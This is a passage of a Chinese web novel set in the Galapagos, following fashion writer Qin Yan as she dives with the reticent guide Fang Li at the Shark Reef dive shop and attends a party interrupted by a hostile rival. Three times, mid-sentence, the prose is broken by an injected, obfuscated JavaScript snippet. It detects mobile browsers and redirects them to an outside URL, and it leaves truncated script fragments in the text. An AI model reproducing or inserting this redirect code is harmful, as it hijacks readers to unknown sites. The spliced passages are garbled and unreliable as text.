大洋彼岸，有人打开了蔚蓝海洋馆的官网。 屏幕上，第7期美人鱼培训的毕业照片逐渐加载出来。 满室寂然里，一声粗重的呼吸声响起。 骨节分明的手自暗处伸出，把那张图片放大再放大。 最后，图片的中心被聚焦在一个人身上。 那是个肤白圆眼的小姑娘。 劲瘦的指尖在她的脸庞上留恋似地来回轻抚。 随后，一个反复出现的名字被用力敲击了几下。 ——蔚蓝海洋馆。 * 这时候的余渝在做什么呢？ 哎呀，她正站在水族馆门口的引导处，经历了几个小时的暴晒。 只见她舔了舔干裂的嘴唇，扬声道：“带小孩的旅客请往这边走！” 门口排队的游客们突然拥挤起来，她抬头一看，不远处的天际线雷光一闪。 一场倾盆暴雨，即将席卷而至。 4. 朝圣美人鱼 加拉帕戈斯群岛。 这座以“进化博物馆”著称的火山群岛，诞生于四百万年前的火山喷发运动。它地处太平洋东部，属厄瓜多尔管辖，因岛上数以千计的巨龟——“加拉帕戈斯象龟”而得名。 群岛距离南美海岸六百多英里，岛上火山活动频繁，人迹罕至。 与世隔绝的环境造就了岛上生物独立的进化体系，产生了大量独属于加拉帕戈斯群岛的物种。 两百多年前，达尔文到访此地，他注意到岛屿之间的雀鸟在喙形上有着细微的差异，也正是这个发现，促使他在日后完成了大名鼎鼎的《进化论》。 这片《进化论》的摇篮之地横跨赤道，接受着长达一整年的阳光直射，来自南美的东南信风与来自加勒比海和中美洲的东北季风在此交汇。 赤道潜流将大量营养物质带到这片温暖的海域，为浮游植物的生长提供了丰富的肥料。 大自然的种种伟力，送给了加拉帕戈斯群岛最独特、最宏伟的海洋生态系统。 岛礁上，碧绿的树木郁郁葱葱，偶尔可见巨大的陆龟在草地缓缓爬行而过，发出打呼似的叫声。 一只海狮不知怎的沉睡在港口为旅客准备的凳子下，见有人来了，也只是睁开眼看看，转过身去，又沉入了梦乡，丝毫不知自己的窘态已经被人类手里的黑色匣子一一记录。 高空传来一声啸叫，一只蓝脚鲣鸟盘旋于海面上空，突然，它收拢双翅，像颗鱼雷似的冲入水中，一尾倒霉的沙丁鱼不幸被入水的声响震晕，被蓝脚鲣鸟迅速叼起，吞入腹中。 一尾不知被谁啃掉半边身子的翻车鱼摇摇晃晃，好奇地朝刚刚饱腹一顿的蓝脚鲣鸟游来，却被几只玩耍的海狮挡住了去路。 碧蓝远洋内，密密叠叠的锤头鲨冲破鱼幕，遮掩蔽日，如同从容的舞者，摇曳而过。 海洋中最大的哺乳动物之一座头鲸和最大的鱼类鲸鲨狭路相逢。 可以说，世界上没有哪个地方的海洋物种多态性能够与加拉帕戈斯群岛相媲美。 时至今日，它已经成为了全世界所有潜水员的心中的圣地之一。 每年7月到11月，是前往加拉帕戈斯群岛潜水的最佳季节。 大量潜水客和慕名而来的游客们不远万里登上群岛，体验人与自然最美妙的融合景观。 秦嫣正是其中朝圣的潜水员之一，她刚刚完成了一次此生难忘的浮潜。 此前她只拥有初级开放海域潜水证书，在大佬遍地走的加拉帕戈斯，只能算初入门的潜水员。 几月前，她根据小绿书上的潜水攻略，预订了八天七夜的船宿旅程，本以为会拥有一次完美的潜水之旅。 不料上船第二天就出了岔子。 这条名为加拉帕戈斯天使的潜水船有些老旧，上下船舱的扶梯狭窄，沾满了凌乱的脚印，湿滑不已。 那天一早，她收到一楼友人的消息，说目击到了锤头鲨风暴的踪迹，叫她快些换衣服下楼。 她急匆匆换上泳衣，开门下楼。 说不清是幸还是不幸，她从一米高的楼梯摔落下来，只是扭伤了膝盖，其他毫发无损。 但随船潜导评估了她的行动情况，坚定地拒绝了她下水的提议。 于是在接下来船宿的日子里，她只能在船上看着好友们与鲸鲨共舞。 船宿结束后，好友们大都结束休假，踏上了回国的旅程。 但秦嫣没有离开。 她家境优渥，平时只是作为兼职撰稿人给时尚杂志供几篇稿子，无需坐班。 或许是因为那次不完美的船宿之旅，又或是不想回到国内面临人际往来的压力。 她在圣布鲁斯的港口附近预订了半年的民宿，打算在这座美丽的岛屿给自己放个长假。 加拉帕戈斯包含16个群岛和众多小岛屿，主要由国家公园和海洋保护区组成，大部分区域限制居住。 圣布鲁斯岛是加拉帕戈斯人口最多的岛屿，开设了很多商店和酒店，有相对完善的基础设施。 昨天她吃腻了饭店提供的自助晚餐，打算到不远处的墨西哥餐厅觅食。 半路上，她闻见一阵熟悉的香味，唤醒了她沉寂已久的中国胃。 火锅霸道的麻辣香气从街角破落的小店里传来，勾得秦嫣胃里的馋虫发出不满的抗议。 是中国人新开的火锅店嘛？她不禁疑惑。 她在出发前进行了详尽的攻略，甚至仔细研究过圣布鲁斯的地图。 她记得，加拉帕戈斯是没有任何一家中餐馆的。 她想，或许是新开的餐厅，地图和攻略尚未来得及更新也未可知。 她走近那间散发着火锅香气的破旧门面，打算一探究竟。 小店门头不大，蓝色的招牌上用极大的字号写着“SHARKREEF（鲨鱼礁）”。 瞧着，这似乎不像一家中餐馆，秦嫣心里闪过一点疑惑。 这时，她终于看见店面门口树立着一块褪色泛黄的广告，上面用大写字母歪歪扭扭地写着—— “DIVOURS” 这原来是家潜店！ 潜店是业内对潜水服务中心的简称，是指提供专业潜水服务，例如潜水器材租售、导潜服务和潜水课程的机构。 加拉帕戈斯岛上潜店众多，与其他店铺想尽办法、争奇斗艳的揽客方式相比，这家潜店的广告实在是过于敷衍了。 秦嫣瞬间打消了进去一探的想法，打算转身离开。 这时，一个高大的身影端着个小小的餐锅，从潜店内后门缓缓走出。 二层的潜店面积不大，一楼的外间是接待客人的公共空间，放着两套休闲桌椅，墙面上挂着很多潜水的照片，内间有门帘遮挡，隐约可见是间不大的厨房。 男人似乎没想到这时候会有客人上门，放下手里的碗，挠挠头，弯下腰来从柜台里找出店铺的课程宣传单。 “中国人？” 男人嗓音沙哑，鼻音有些重，语气略带疲倦，但并不使人感到恶意。 听到熟悉的乡音，秦嫣不由侧目。 这是个身材高大的男人。 他站在灯光昏黄的南美潜店里，却把小店瞬间拖入了上世纪充满暴力美学的香港电影。 有的人生来就像黑洞，只是站在那里，就能让吸引旁人不自知的关注。 “入侵感” 大抵是身为时尚编辑的职业病，秦嫣的大脑里下意识浮现出这个词。 国内当红的明星大都有一个共同点：他们能够凭借自身的样貌、身材和气质，塑造出与周围环境格格不入的入侵感。 关于这一点，娱乐圈有个更加直白易懂的词——星味。 她不由得细细打量这颗误落加拉帕戈斯的明星。 男人身材是健身房模板一般的健硕，亚裔，目测一米九左右，宽肩窄腰，皮肤是自然均匀的古铜色。 他的头发半长及肩，长时间没有修剪的刘海遮住双眸，让人看不清样貌。 往下一扫，好家伙。 这家伙上身穿着一身看起来很能干的黑色工字背心，脖子上套着条半身围裙——一看就是超市打折送的，下身穿着条五分短裤，脚上随意套着双黑色的沙滩拖鞋。 “来潜水？” 不知是不是乡音作祟，亦或是男人壮硕的身材带来了一种潜在的威胁感。 秦嫣下意识地咽了咽口水，鬼使神差地点了点头。 “明天只开放一潜，在GordonRocks（高登斯岩），下午一点半，可以来吗” 是问句，却不是疑问的语气。 男人说话令人下意识地想要服从。 秦嫣努力想要把自己的灵魂从这种服从里剥脱出来，下一秒却不由得接过男人递来的笔，在空白处登记好姓名和联系方式，把报名单和笔递还给他。 男人接过，上下甩了甩不太出墨的圆珠笔，用飘逸漂亮的字体签上自己的名字。 ——Elvin。 笔尖顿了顿，随即重重一点，仿佛有意省略下什么内容。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337930|183406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下午一点在这里集合，如果有事迟到或者取消订单的话提前联系我们” 男人垂眸，快速从日历上抽出一张便签，写下一串座机号，合上笔盖。 纸条被修长的双指推至她面前，示意她收下。 然后气氛陷入死寂。 “……” 嗯？就完了吗？ 一般来说，这个环节结束后，难道不该有一些遇到老乡的寒暄或者自我介绍之类的吗？ 偏偏男人说完话后便一语不发，沉默地看着她。 好像在说：你怎么还不走？ 秦嫣愣住一瞬，下一秒便火速收下便签，走出潜店。 回到酒店门口时，她一拍脑袋。 诶？ 不对！ 她明明是出来吃饭的啊！！！ * 送走中国客人后，方砺坐回柜台，打开风扇，吃起刚刚做好的晚餐。 下一瞬，有个橄榄球型的身影冲进店内，险些撞到柜台。 是鲨鱼礁的老板，Juan（胡安）。 十年前，还是长条型的胡安来到加拉帕戈斯潜水，与一个当地姑娘相爱结婚，随后开了一家潜店，定居于此。 “Elvin，这是冰箱里我珍藏已久的最后一块火锅底料吗！！！” 他双手撑在柜台上，眼睛里含着强烈的控诉意味。 这位250磅的南美汉子崩溃了，他眼中闪现出晶莹的泪花。 自从第一次从方砺带来的特产里品尝到这来自中国的绝赞味道，他便一发不可收拾，毅然决然地投入了火锅的怀抱。 如今，TaoBao已经成为了他手机里使用频率最高的APP之一。 胡安的妻子是加拉帕戈斯国家公园的工作人员，她几天前前往基多，开始了为期一月的出差。 妻子在家时，一直严格限制胡安的饮食——毕竟如今的他体重已经严重超标了，不料胡安早就转为地下作战，把火锅底料偷藏在了鲨鱼礁的厨房里。 胡安自以为做得天衣无缝。 几个小时前，他受邻居所托，帮他们接孩子放学回家。 邻居是妻子的同事，同样是国家公园的工作人员，他们一同前往基多出差。 于是，胡安拜托恰好结束工作，在潜店二楼休息的老友为他暂时看店。 他俩认识少说也有十二三年了，多年来一直共同潜水，甚至几次经历过生死，如今早已胜似亲人。 这家潜店方砺是就是原始股东之一。 可惜，千防万防，家贼难防。 他看着柜台里不动如山的老友，恨恨咬牙。 不妨闻见一阵椒麻香气，看看这人碗里，冻豆腐、青笋、午餐肉，食材有限，但仍是扣人心弦的美味。 这，这都是他的存货呀！ 胡安欲哭无泪。 “茱莉亚给我发消息，让我好好检查一下鲨鱼礁的厨房，防止有人偷吃” 柜台里的男人不为所动，只是把刚刚填好的报名表递给胡安。 听到妻子的名字，胡安顿时偃旗息鼓，所有怨念霎时间烟消云散。 拍着头嘿嘿傻笑，自顾自地念叨着“她心里有我”。 胡安拿起报名表，定睛一看。 “一点半！？” 刚刚有客人通过网上预约，明天下午一点半已经约满。 鲨鱼礁共有5位潜导，其中2个是高级。每个高级潜导每次最多只带3个客人下水。 明天排班只有约克逊，他已经约满。 胡安出门时走的急，想着天色已晚，多半不会再有客人上门，出门前没对方砺多作交代。 方砺平时并不参与鲨鱼礁的经营，只是每年的潜水季会偶尔前来借宿，他能记得报名表在哪，已经是意外之喜。 不过，胡安仔细翻了翻报名表。 方砺头也不抬：“嗯。” “等等，Elvin，这是你的同乡？” 老乡啊。 胡安突然有了个绝妙的主意。 5. 欢迎美人鱼 第二天。 下午一点钟整，秦嫣带着全套潜水装备，准时来到了鲨鱼礁门口。 想起昨天，秦嫣突然有一种恍如隔世的感觉，她到现在也没想明白，她是怎么稀里糊涂地给自己预约上潜水一日游的。 坦诚来说，昨日的报名称不上愉快。 一想到等会儿要见到昨日的男人，秦嫣心里不免有些尴尬。 这时，店门口出来个身宽体胖的男人，皮肤微黑，看得出来是南美裔。 看到她在门外犹豫，男人立刻走近，用略带口音的英语招呼道：“你好，是辛西娅吗？” 秦嫣点点头，面前的男人立刻脸上咧出一个热络而圆滑的微笑，伸出右手与她握手“不愧是中国人，真是准时”。 说实话，这副模样更加符合她对一个潜店老板的想象。 他接过她手中的潜水袋，拿出车钥匙按动一下，不远处一辆黑色的游览车发出解锁的声音，“我是鲨鱼礁的老板胡安，昨天你见到的那个家伙是我们店里的潜水导游”。 看到秦嫣恍然大悟的眼神，他补充：“昨天下午我出门时拜托他暂时看店，他现在已经在高登斯岩等我们了”。 “等等”秦嫣心中警铃大作。 她疑惑地望向周围，“其他的潜水客人呢”，加拉帕戈斯水下情况复杂，一个潜导一次最多带三个客人左右。 而此时唯有她一人，不禁令她怀疑自己是不是误入了什么绑架电影。 胡安明显看出了她态度的变化，懊恼地挠了挠头，帮她把沉重的潜水包放在游览车边，善解人意地说：“呃，其他客人马上就来，你可以在车上先等一等”。 他继续回到门口，拿着几张报名表似的模样，开始打起电话。 秦嫣半信半疑地站在车边，犹豫要不要现在撒腿就跑。 十几分钟后，剩下几位客人陆续到达，把行李放上游览车，此时秦嫣心中的怀疑已经打消大半，已经上车开始与他们交谈。 客人到齐后，胡安来到驾驶位，启动游览车。 其他三位潜水客都来自欧洲，两女一男，是大学同校同学，趁着假期一同出来旅行。 两个欧洲女孩相当健谈，一路上拉着秦嫣东拉西扯，不停夸赞秦嫣挑选潜水衣的品味。 行进途中遇见火烈鸟泄湖和大片的红树林，两个女孩发出压抑后的轻声尖叫，拍拍秦嫣的手臂让她转头一起看。 不远处，密如网织的红树林郁郁葱葱，尽力吸占着每一丝阳光。 大片火烈鸟似烧红的烟霞，停栖在泄湖畔，几只蜥蜴从它们脚下快速爬过，惊起飞鸟一片。 这，是独属于加拉帕戈斯的盛景。 秦嫣不禁沉迷其中，等到终于有时间拿出手机一看，她突然意识到时间已经过去了半个小时。 游览车发出两声愉悦的喇叭声。 阿约拉港到了。 高登斯岩位于圣克鲁斯岛东北部阿约拉港附近，是世界上最佳的鲨鱼潜水点之一，这里以盛景般的的锤头鲨风暴享誉世界。 除了锤头鲨，这里还有数量众多的鹰鲛、蝠鲼、海龟、海鳗和加拉帕戈斯鲨等，运气好的话，偶尔还能见到鲸鲨。 重要的是，岛上的所有船宿都不提供此高登斯岩的浮潜服务，只有时间充裕、选择在岛上住宿的潜水爱好者，才能够领略到它的风采。 阿约拉港的港口广阔整洁，胡安停好游览车，安排乘客们拿好自己的所有行李和潜水装备。 确认没有物品遗漏并再次检查客人们的潜水等级后，胡安径走向港岸。 港口边停泊着一艘崭新的快艇，船身写着黑色的鲨鱼礁字样。 一个穿着潜水服的中年男人正在检查船上的设备，而另一个体型矫健的青年人正坐在船尾，整理自己的潜水帽和面镜。 秦嫣立刻辨认出，那个坐着的青年人，就是昨天店里沉默寡言的华裔男人。 这时跟在她身后的两个欧洲女孩突然悉悉索索地激动起来，似乎是看到了什么令人激动的东西，其中那个性格羞涩些的，双颊更是烧起微微红韵。 今天日头极好，晴空万里。 炙烈的阳光令她略略眯起眼，往同伴注目的地方看去。 嗯。 激动倒也是情有可原。 昨日男人只穿着工字背心和宽大的五分裤时，健美英挺的身型便已能略窥一二。 今日一看，他一改昨日的休闲装扮，规整地穿着紧身的全套潜水服，脸上四分之三的被面镜覆盖，犹如巫山遮云。 无端的让人心生遗憾：穿／遮这么多做什么呢？ 或许是人都有劣根性，如此“犹抱琵琶半遮面”的模样，倒教人愈发想要一探面镜下男人的真容。 “或许这就是覆面系的魅力？”秦嫣暗暗嘀咕。 感受旁人灼热的目光，旁边的中年男人习以为常，甚至略带好笑地拍拍青年的肩示意他回头看。 他却头也不回，自顾自地继续整理面镜。 男人薄唇轻抿，半是无奈半是不耐，锋棱似的下颌线上，胡茬被打理得十分干净，略略发青。 但恰恰也正是因为大部分面容都被面镜遮挡，旁人不得不将注意力放在他那被潜水衣紧紧包裹的身体上。 潜水布料弹性甚佳，把宽厚有力的背肌臀肌，流畅的腹肌线条和鼓鼓囊囊的腿大肌勾勒得一览无遗。 十足矫健，却不过分贲张。 小腹上块垒分明的肌肉略略紧绷，还在随着主人的呼吸一起一伏。 极致体态形成的性张力，像黑洞一样獲取他人的注意力，再狠狠搅碎。 像黑暗中突然撞进视野的烈焰星陨。 像昏暗海面下极速潜行追击的致命黑鲨。 无关容貌，他站在那里，便已经存在得足够分明。 “这位——，你应该已经认识了，Elvin，鲨鱼礁唯一的中文潜导” “他今天是辛西娅小姐的潜导” 方砺对着秦嫣轻轻颔首，态度礼貌而疏离。 “这位是约克逊，店里唯二的高级潜导之一，他会给你们三位提供导潜服务” 叫做约翰逊的男人并拢双指，在额前轻轻一扬，有种老顽童似的调皮。 身后的两个女孩发出失望的叹气声，随后挤眉弄眼地看着秦嫣。 秦嫣出身时尚圈，常年在明星模特的圈子里摸爬滚打，故而对男色有一定的预防力，此时看到两个小女孩的神色不禁感到好笑。 她跟着胡安的引导爬上快艇，坐到Elvin身边。 “你好，秦嫣”她伸出右手，用中文打了招呼。 “方砺”男人言简意赅，自然地伸出右手回握。 原来男人姓方。 方砺？ 她似乎在哪里听过这个名字。 还没等她细细思索，一阵快艇引擎的轰鸣声响起。 她一时不慎没坐稳，被方砺稳稳扶住，确认她坐稳后立刻放手，刻意避嫌的态度跃然纸上。 “这家伙倒也不像看上去那么冷漠”她感激地对他一笑，却看到方砺正向前方望去。 “看，那里就是高登斯岩” 方砺对着远方突出海面的三块岩石遥遥一指，开始对秦嫣详细介绍高登斯岩的水流方向、深度以及他曾遇见鲸鲨的位置。 话语简洁直白，没有任何寒暄的语气和多聊的欲望，专业态度尽显。 最后，方砺再一次强调加拉帕戈斯国家公园的潜水规则——严禁触碰任何生物，保持安全距离。 “我会和你一起下水，为你提供全程的水下拍摄” “我们会潜到水下30米深，到火山口中心附近，你可以看到锤头鲨群在附近游动……” 方砺话虽少，却反倒比船宿的潜导介绍得更加仔细专业，话语间似乎对达尔文岛和狼岛知之甚详，显然对加拉帕戈斯的各大潜点了解非常。 秦嫣听得津津有味，心里对他的印象大为改观。 看起来这家伙也不仅仅只有一身花架子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337931|183406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的专业技能也非常扎实。 “高登斯岩今天的水下能见度很好，但是这里的水况也相对复杂，下水后一定要跟紧我” 最后一句，方砺态度凝重。 跟紧潜导，不能一个人独自潜水，是所有潜水员的潜水第一课。 她忙不迭点点头。 话语间，高登斯岩到了。 方砺和约克逊先行下水，部署浮标，和胡安约定好接人位置。 几个游客穿戴好面镜和脚蹼，跟着各自潜导的步伐，下潜入水。 一入水，略凉的海水就让秦嫣情不自禁地打了个激灵。 她稳了稳呼吸，趴平在海面，做完一个耳压平衡，九十度下潜入水。 与海面不断翻涌的波涛相比，此刻的海底格外宁静。 潜水时，听觉被海水阻隔掉九成，只听见隐约连续的气泡声和自己的呼吸声，视觉开始变得格外敏感。 无数光束从头上打来，折射成光剑，刺破海水，照射在海底青红相间的礁岩和珊瑚上，一只轮胎大小的绿色海龟正悠哉悠哉地从礁石边游过。 透过面镜，她看到方砺正直立悬停在正前方，等待她做好准备。 看到秦嫣完成入水，方砺作出一个跟随的手势，示意她跟上前来。她踢动双蹼，向方砺游向的方向渐渐靠近。 突然，一团沙丁鱼群从她后方飞速游动而过，遇见她这个“障碍物”，立刻分成两团，左右包抄而去。 她向后回首，原来是一直海狮将鱼群追逐至此。看见人类，灰色的小海狮毫不避让，甚至主动放弃追逐鱼群，回过身来，在她面前转着圈地来回游动、主动贴近。 好像在说：“你看看我呀，你看看我呀，人家可不可爱！” 没想到海狮在水中会主动靠近，秦嫣反倒被吓了一跳。 看到人类被自己吓到，小海狮眼中露出伤心的模样，悻悻离开，只留下一道雪白的泡影。 再往前方，更是目不暇接。 百来条黄尾刺尾鱼盘踞成鱼球，抵挡猎食者的攻击。 黑白相间的蝴蝶鱼也嘬着鱼嘴，在礁石里寻找微小的浮游植物，填饱肚子。 啊，还有加拉帕戈斯鲨鱼！ 这位顶级掠食者正款款而来，寻找着落单的海狮或海鬣蜥。 蓦地，头顶一暗。 秦嫣睁大双眼，愣怔下来。 几百只锤头鲨摇头晃脑，摇曳着身体成群结队而来，他们遮天蔽日，来回冲撞着小型鱼群。 锤头鲨风暴来了！ 任是千万次在网络视频中见过锤头鲨风暴的存在，都不及此刻的亲眼见证。 更何况，她正身处其中。 一阵悚然的颤栗从尾椎骨闪电似的席卷到大脑。 她终于意识到，自己的灵魂真正来到了加拉帕戈斯。 一种热忱的激动油然而生。 这就是慷慨的深蓝，这就是潜水员的“圣地”加拉帕戈斯。 方砺出现打断了她，他伸出手指指向海面。 是的，她突然意识到自己已经沉迷于这面迷人的海域太久。 她已经快两分钟没有换气了。 跟着潜导游动的尾迹，她从海面探出头，使劲地深吸了一口气。 一旁的方砺看着有些狼狈的她，显得格外从容。 他浮在海面摘下面镜，往额头一滑。 这位“犹抱琵琶半遮面”的潜导终于露出了“庐山真面目”。 只见他额头饱满，眉骨高挺，眼窝深邃，修长粗黑的剑眉入鬓，顾盼生神的星目璨璨。 一滴不识趣的水珠从他如峰挺秀的鼻梁缓缓流下，滴落到棱角分明的唇峰。 秦嫣的大脑终于抵挡不住冲击，陷入一阵空白。 只见他甩了甩头上的水珠，终于露出两人相识以来的第一个笑。 他笑意爽朗、暗藏得意，好像终于带人见识了家中私藏的珍宝。 他说： “——欢迎来到加拉帕戈斯” 6. 派对美人鱼 高登斯岩。 40分钟后，所有潜水员都已经回到了船上，胡安正拿着一本物种图板向客人确认着刚刚遇到的鱼群。 约克逊则时不时地解答年轻人们的疑问，甚至开始分享起自己年轻是在仙本娜潜水时遇到的趣事，语气诙谐，逗得两个外国姑娘哈哈大笑。 而方砺恢复了一贯的沉默，坐在船尾，有条不紊地填写潜水日志。 秦嫣却有些心不在焉地坐在船沿。 不知是还沉浸在海底的群鱼涌动，亦或是被面前这人的灿然一笑蒙了心神。 “教练” 她用中文呼唤方砺，心里不知怎么的，为这语言壁垒围成的、仅有他们二人的小世界而暗自窃喜。 不等那酸甜的滋味蔓延，她立刻开始唾弃自己那颗为男色而蹦蹦乱跳的小心脏。 “谁叫我是个以赏美为生的时尚撰稿人呢”她马上在内心自我安慰起来,正是因为太懂得塑造美、太懂得鉴赏美，所以才会愈发容易为美而动心啊。 为了让自己尽快从这男色暴击带来的遐思中脱离出来，她又转为英语，把这暧昧的语境统统砸碎，心间的酸甜也被腥涩的海风冲尽。 “教练为什么会来加拉帕戈斯？” 话一落地，她就立刻意识到自己问了一个多么愚蠢的问题。 既已见识过加拉帕戈斯的魅力，又怎能不为它沉迷、驻足呢？ 胡安正驾驶着航船，冷不丁听见那中国女孩提问，下意识回答道： “Elvin是来拍纪录片的” “你是不知道，那个BNC导演跟休息有仇似的” “租了条船就带着摄像组不眠不休地拍啊” “哈哈哈哈，可苦了Elvin，追着一条海鬣蜥游了半个月” “这不，整整睡了两天，昨天才醒呢” 怪不得昨天看见方砺时他这么疲倦，秦嫣暗暗想道。 方砺收起手中的潜水日志，一个淡淡的眼神向胡安扫来，胡安脸色一变，随即哑了火似的紧紧闭上了嘴。 BNC！ 秦嫣暗自咋舌，作为全球最大的媒体出版公司，BNC纪录片以选题独特、质量奇高而闻名。 要求严格的BNC导演会找到方砺作为水下摄影，足见其出类拔萃的潜水能力和对加拉帕戈斯海域的了解。 潜水这个圈子说大不大，这样的人，在国内潜水圈怎么可能寂寂无闻？ 秦嫣心里暗暗生疑。 “别见怪，美丽的中国姑娘” 说好话的是约克逊，这位风趣而善解人意的潜水导游总是团队里最好的粘合剂。 “Elvin不太喜欢别人打听他的私事” “鲨鱼礁今晚有一场小型派对，如果你们有空，也一起来吧” 胡安一听派对，立刻兴奋起来，“对对对，今天晚上是约克逊的生日，你们也来一起参加吧！” 胡安对今天的几个潜水客人印象很好，几个年轻人好学得很，很听潜导的话，也不胡乱触碰水下动物。 “我等会儿去市场买几条鱼，再去买些炭火！” “只有鱼肯定不够，我还要去买些牛肉和虾……”一谈到自己心爱的美食，胡安又开始滔滔不绝、眉飞色舞起来。 此时已是下午四点。 心神紧绷了大半天的秦嫣终于放松下来，腹内的确有些饥饿，不由得开始聆听胡安对于各地美食的见解。 “就像西班牙海鲜饭一定不能少当季产的雪莉酒一样——” 她赞同地点点头。 “中式的火锅底料一定也少不了意大利面！” 火锅意大利面？？！ 秦嫣的大脑陷入了短暂的宕机。 这一点，请恕她不能苟同。 一旁的方砺，轻轻叹了口气。 * 回到岸上后，胡安和客人们约定好晚上参加派对的时间，就兴冲冲地拉着换下潜水服的方砺冲去了市场。 胡安赶去市场时喜气洋洋的，回来时却闷闷不乐。 走向停车场时，他一边抱着大袋的绿色蔬菜，一边充满怨念地盯着方砺的背影。 突然一阵铃声响起。 “是茱莉亚的电话！帮我拿一下”胡安把手中的袋子递给方砺。 “亲爱的，我刚刚结束” “我吃的健康着呢，Elvin就在旁边监督我” “你还有多久回来？” “下周四吗？你要提前一周回来！” “你当然是最棒的啦，爱你哟甜心” 挂断妻子的电话，胡安趾高气昂，用“单身狗不懂”的炫耀姿势，雄赳赳气昂昂地接回了袋子，仿佛要把自己吃不到肉的怨念全部报复回去。 方砺倒是很无所谓地轻挑眉尾，不置一词。 市场紧靠港口，渔民刚刚把一船捕捞来的渔获倒入篮中，一只肥胖的海狮很是亲人，正垂涎欲滴地立在一旁，对着鱼儿虎视眈眈。 “对了，你还单着呢？”胡安又开始老生常谈。 胡安年轻时曾坚称自己是独身主义，结果来了一趟加拉帕戈斯就遇见了茱莉亚，他坠入爱河后火速结婚，成了一众兄弟里最早结婚——当然也是最早幸福肥的那一个。 方砺则与之完全相反，看到爱情锁和木勺之类的东西总爱跑去买，旁人以为他早有女友，却偏偏孤身至今。 如今，胡安已经开始着手准备结婚的十周年纪念日了，方砺却始终一个人全世界飞来飞去，遇到喜欢的地方留下来住几个月，不喜欢的地方工作结束后就立刻离开。 十年了，鲨鱼礁几乎是他唯一的锚点。 闻言，方砺垂眸不语，只是捂住手腕，摩挲了几下，微微惘然。 看老友这副样子，胡安也不好多说什么，沉沉叹了口气，把菜放回车上，驶回鲨鱼礁。 * 傍晚七点，鲨鱼礁的后院里，传来一阵阵欢快的音乐和人们的说笑声。 院落里散布着明亮的彩灯，为鲨鱼礁带来缤纷的暖意。 秦嫣到时，看到不大的院子里塞满了熙熙攘攘的人，有男有女，或坐或立，他们大都在当地潜店工作，与胡安和杰克逊是老相识，今夜受邀至此。 加拉帕戈斯的当地居民与加拉帕戈斯这片岛屿一样，质朴、友善又对他人抱以满怀的热情。 一个皮肤黑黄的印加男人吹起欢快的长笛，他的小儿子打起手鼓，现场的人们高举酒杯，伴着音乐和鼓点大声欢呼。 秦嫣拥抱了一下站在门口的约克逊，把准备好的礼物送给他。 “天哪，这款潜水表我想要很久了！” “谢谢你亲爱的”约克逊发出夸张的大笑，随即指了指角落里一个人坐着的方砺。 “看，Elvin在那里”他拍了拍秦嫣的肩膀，示意她找老乡去玩。 实在是人生地不熟，秦嫣只得硬着头皮走了过去，“嗨，教练”。 方砺正屈膝坐在角落，有一下没一下地扔着什么东西。 只见他终于把半长的头发束在脑后，过长的刘海也垂在颊侧，这模样不仅不显女气，反倒把英挺的面庞带出些落拓的浪子气息。 不过那身工字背心和宽大的五分裤还是没有任何改变。 可真是暴殄天物啊，秦嫣叹息。 听到熟悉的中文，方砺抬眼一扫，对着秦嫣轻轻颔首示意，把手里不停抛接的东西戴上手腕。 走近一看，秦嫣才发现那是根黑色发绳，穿着几片蓝紫相间的半透明闪片，波光粼粼的，煞是好看。 不等她继续开口，门外突然传来一阵吵闹和骚动。 客人们也都停止了欢笑，惊疑不定地看着那个闯进鲨鱼礁的男人。 那人也是亚裔，皮肤极是苍白，一米八左右，整个人瘦得脱相，脸上却是一副你奈我何的痞笑，踱着步来到方砺面前，用中文吊儿郎当地说： “哎呀，原来你就在这种破烂小店啊？” “没想到啊，大名鼎鼎的自由潜之王，也会有虎落平阳的一天！” 他喉咙里挤出几声嘲弄似的轻笑。 方砺站起身来，居高临下地看着这位不速之客，“向阳，我是虎落平阳，但被犬欺三个字，你还配不上” “今天我心情好，你自己滚” “你知道的，打你，我用不上留余地” 方砺眸光似箭，戳得向阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337932|183406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内心直颤。 向阳想起自己曾被方砺狠揍的时光，恨恨地咬了咬牙，转身离开又突然回首。 “方砺，既然我已经找到了你” “那我们一定会再见的！” 向阳狠狠地撞开站在门口的胡安，换为英语： “包括你，老师” 他深深看了一眼这个不复当年清秀的胖子，不顾胡安难看的脸色扬长而去。 向阳走了，也带走了场内人玩乐的兴致。 半个小时后，客人们三三两两地离开。 秦嫣作为在场第三个听懂了这张交谈的人，主动留下来帮胡安打扫后院。 她刚刚被那两个外国女孩灌了不少酒，有些微醺。 她看到方砺把散落在地上的彩灯逐一收齐，整齐地放在木箱中，整个人都冒着一股凉飕飕的冷气。 她觉得自己应该说些什么，来缓解一下当前的气氛。 “教练，你为什么想要潜水啊” 